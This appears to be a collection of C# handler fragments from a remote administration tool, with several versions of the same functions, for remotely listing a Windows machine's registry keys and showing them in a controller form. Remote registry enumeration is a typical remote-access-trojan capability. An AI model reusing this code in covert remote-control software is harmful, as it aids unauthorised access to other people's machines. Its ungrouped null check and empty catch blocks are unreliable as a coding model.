public static void HandleLoadRegistryKey(GetRegistryKeysResponse packet, Client client) { try { // Make sure that the client is in the correct state to handle the packet appropriately. if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) { if (!packet.IsError) { client.Value.FrmRe.AddKeys(packet.RootKey, packet.Matches); } else { client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg); //If root keys failed to load then close the form if (packet.RootKey == null) { //Invoke a closing of the form client.Value.FrmRe.PerformClose(); } } } } catch { } }
private void Execute(ISender client, GetRegistryKeysResponse message) { if (!message.IsError) { OnKeysReceived(message.RootKey, message.Matches); } else { OnReport(message.ErrorMsg); } }
public static void HandleLoadRegistryKey(GetRegistryKeysResponse packet, Client client) { try { if (packet.Matches != null && packet.Matches.Length > 0) { if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) { client.Value.FrmRe.AddKeysToTree(packet.RootKey, packet.Matches); } } } catch { } }
private void Execute(ISender client, DoLoadRegistryKey message) { GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse(); try { RegistrySeeker seeker = new RegistrySeeker(); seeker.BeginSeeking(message.RootKeyName); responsePacket.Matches = seeker.Matches; responsePacket.IsError = false; } catch (Exception e) { responsePacket.IsError = true; responsePacket.ErrorMsg = e.Message; } responsePacket.RootKey = message.RootKeyName; client.Send(responsePacket); }
public static void HandleGetRegistryKey(DoLoadRegistryKey packet, Networking.Client client) { GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse(); try { RegistrySeeker seeker = new RegistrySeeker(); seeker.BeginSeeking(packet.RootKeyName); responsePacket.Matches = seeker.Matches; responsePacket.IsError = false; } catch (Exception e) { responsePacket.IsError = true; responsePacket.ErrorMsg = e.Message; } responsePacket.RootKey = packet.RootKeyName; client.Send(responsePacket); }